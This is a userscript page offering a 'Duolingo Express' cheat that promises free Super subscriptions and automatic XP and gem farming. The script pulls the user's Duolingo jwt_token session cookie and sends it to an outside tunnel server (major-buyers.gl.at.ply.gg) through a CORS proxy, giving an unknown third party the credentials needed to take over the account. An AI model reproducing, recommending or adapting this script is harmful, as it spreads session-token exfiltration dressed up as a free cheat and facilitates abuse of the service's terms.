DISCONTINUED DUOLINGO CHEAT

Free super duolingo, instant XP, 24/7 cloud-based automatic XP farming where you can close your duolingo tab and it will continue farming for you.

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

// ==UserScript==
// @name         DISCONTINUED DUOLINGO CHEAT 
// @namespace    http://tampermonkey.net/
// @version      v2
// @description  Free super duolingo, instant XP, 24/7 cloud-based automatic XP farming where you can close your duolingo tab and it will continue farming for you.
// @author       You
// @match        *://*.duolingo.com/*
// @match        *://*.duolingo.cn/*
// @license      MIT
// @icon         https://www.google.com/s2/favicons?sz=64&domain=duolingo.com
// @grant        none
// @run-at       document-start
// ==/UserScript==

// IT IS RECOMMENDED TO RUN THIS SCRIPT ON AN ALT BECAUSE IT MIGHT GET YOU BANNED. RUN IT ON YOUR MAIN ACCOUNT AT YOUR OWN RISK!

const server = 'https://cors-anywhere.com/http://major-buyers.gl.at.ply.gg:5603/'; // i'm using cors anywhere to fix SSL errors, not CORS errors, because you can only get a self-signed certificate with playit, not one provided by a valid certificate authority.



if (location.pathname === '/errors/duoexpress') {
    document.title = '💎 DUOLINGO EXPRESS 💎';
    const jwt = document.cookie.split('jwt_token=')[1].split(';')[0];

    const style = `
    @import url('https://fonts.googleapis.com/css2?family=Averia+Sans+Libre:ital,wght@0,300;0,400;0,700;1,300;1,400;1,700&display=swap');

    :root {
        --palette-primary: #11001C;
        --palette-secondary: #1A0129;
        --palette-tertiary: #220135;
        --palette-quaternary: #6A328B; /* i had to look up the word quaternary */
    }

    * {
        font-family: 'Averia Sans Libre', 'Arial', sans-serif !important;
        color: var(--palette-quaternary) !important;
    }

    body {
        background: var(--palette-primary) !important;
    }

    .primary-heading {
        text-align: center !important;
        margin: 50px !important;
        margin-bottom: 10px !important;
        font-size: 55px !important;
    }

    .primary-subheading {
        text-align: center !important;
        margin: 0px !important;
        opacity: 50% !important;
    }

    h2, h3, p, a {
        margin-left: 10px !important;
    }

    button, input {
        font-size: 25px !important;
        padding: 15px !important;
        border-radius: 50px !important;
        border: none !important;
        margin: 10px !important;
        background-color: var(--palette-tertiary) !important;
        transition: 1s !important;
    }

    button {
        cursor: pointer !important;
    }

    input:hover {
        border: 2px solid var(--palette-quaternary) !important;
    }

    button:hover {
        transform: translateY(-10px) !important;
    }

    button:active {
        border: 1px solid var(--palette-quaternary) !important;
        padding: 14px !important;
        transition: 0s !important;
    }

    p, b {
        font-family: 'Arial', sans-serif !important;
    }
    `

    const styleElement = document.createElement('style');
    styleElement.innerHTML = style;
    document.getElementsByTagName('head')[0].appendChild(styleElement);

    document.body.innerHTML = `
        <h1 class="primary-heading">Duolingo Express</h1>
        <h3 class="primary-subheading">⚝ THE BEST FREE PUBLIC DUOLINGO CHEAT ⚝</h3>

        <div id="controls">
            <br><br>
            <h2>24/7 Auto Farming</h2>
            <p>Farm AFK 24/7 and gain <b>billions</b> of XP! Just click "start farming" and let us do the rest; close your computer and go to sleep, and this will continue farming for you!</p>
            <h3>XP FARM IS FOR THE ENGLISH COURSE ONLY! IF YOU AREN'T LEARNING ENGLISH, ADD A NEW ENGLISH COURSE!</h3>
            <button id="startXpFarm">START FARMING XP (510XP per second)</button><br>
            <button id="startGemFarm">START FARMING GEMS (30 gems per second)</button>
            <h3>Streak farming is not an option on this script. If you want to farm streaks, use another script in combination with this. (you can find userscripts on GreasyFork)</h3>

            <br><h2>Instant Super/XP Earner</h2>
            <p>Gain thousands of XP as well as a free 3 day super Duolingo preview in the click of a button!</p>
            <p>Note: the free 3 day super Duolingo preview requires you to have a certain number of days streak, and it might not work if you've claimed it many times before.</p>
            <p>Note: the instant XP earner might not work at the beginning or end of leagues (Sunday and Monday).</p>
            <h3>YOU CAN ONLY CLAIM 1 SUPER PER DAY AND 30,000 XP EVERY 4 HOURS!</h3>

            <input placeholder="Amount of XP..." id="amountOfXp" maxlength="10">
            <button id="getXp">GET >></button><br>
            <input style="opacity: 0%"> <!-- invisible input so that the get super for free button is in line with the get XP button -->
            <button id="getSuper">GET SUPER FREE >> </button>

            <br><h2>Social media</h2>
            <a href="https://discord.gg/YGm8UHSJ3D" target="_blank">Join the DuoExpress Discord</a><br>
            <a href="https://greasyfork.org/en/users/1538106-freepentests-on-soundcloud" target="_blank">Check out our Greasyfork</a>
            <br><br>
        </div>
    `;

    const updateFarmingStatuses = async () => {
        const farmingStatus = await fetch(server + '/getFarmingStatuses?jwt=' + jwt);
        const farmingStatusJson = await farmingStatus.json();
        let xpAction = 'start';
        let gemAction = 'start';

        if (farmingStatusJson.xp) {
            document.getElementById('startXpFarm').innerText = 'STOP FARMING XP (510XP per second)';
            xpAction = 'stop';
        } else {
            document.getElementById('startXpFarm').innerText = 'START FARMING XP (510XP per second)';
            xpAction = 'start';
        };

        if (farmingStatusJson.gems) {
            document.getElementById('startGemFarm').innerText = 'STOP FARMING GEMS (30 gems per second)';
            gemAction = 'stop';
        } else {
            document.getElementById('startGemFarm').innerText = 'START FARMING GEMS (30 gems per second)';
            gemAction = 'start';
        };

        return {
            xp: xpAction,
            gems: gemAction
        }
    };

    (async () => {
        let actions = await updateFarmingStatuses();

        document.getElementById('startXpFarm').addEventListener('click', async () => {
            await fetch(server + '/farm/xp', {
                method: 'POST',
                headers: {'content-type' : 'application/json', 'origin' : 'duolingo.com'},
                body: JSON.stringify({'action' : actions.xp, 'jwt' : jwt})
            });
            actions = await updateFarmingStatuses();
        });

        document.getElementById('startGemFarm').addEventListener('click', async () => {
            await fetch(server + '/farm/gems', {
                method: 'POST',
                headers: {'content-type' : 'application/json', 'origin' : 'duolingo.com'},
                body: JSON.stringify({'action' : actions.gems, 'jwt' : jwt})
            });
            actions = await updateFarmingStatuses();
        });

        document.getElementById('getSuper').addEventListener('click', async () => {
            const resp = await fetch(server + '/instant/super', {
                method: 'POST',
                headers: {'content-type' : 'application/json', 'origin' : 'duolingo.com'},
                body: JSON.stringify({'jwt' : jwt})
            });

            alert(await resp.text());
        });

        document.getElementById('getXp').addEventListener('click', async () => {
            const amountOfXp = document.getElementById('amountOfXp').value;

            const resp = await fetch(server + '/instant/xp', {
                method: 'POST',
                headers: {'content-type' : 'application/json', 'origin' : 'duolingo.com'},
                body: JSON.stringify({'amount' : amountOfXp, 'jwt' : jwt})
            });

            alert(await resp.text());
        });
    })();
} else {
    const initButton = () => {
        const alreadyExist = document.getElementsByClassName('duoexpress').length >= 1;
        if (!alreadyExist) {
            const html = '<a href="/errors/duoexpress" target="_blank"><button style="font-size: 20px; padding: 15px; background-color: #101010; color: #FFFFFF; border-radius: 50px; cursor: pointer;">Click to Open Duolingo Express Cheat Dashboard</button></a>';
            const container = document.createElement('div');
            container.classList.add('duoexpress')
            container.style = 'position: fixed; bottom: 0; left: 0; z-index: 9999;'
            container.innerHTML = html;
            document.body.appendChild(container);
        };
    };

    window.onload = initButton;
    setInterval(initButton, 1000);
};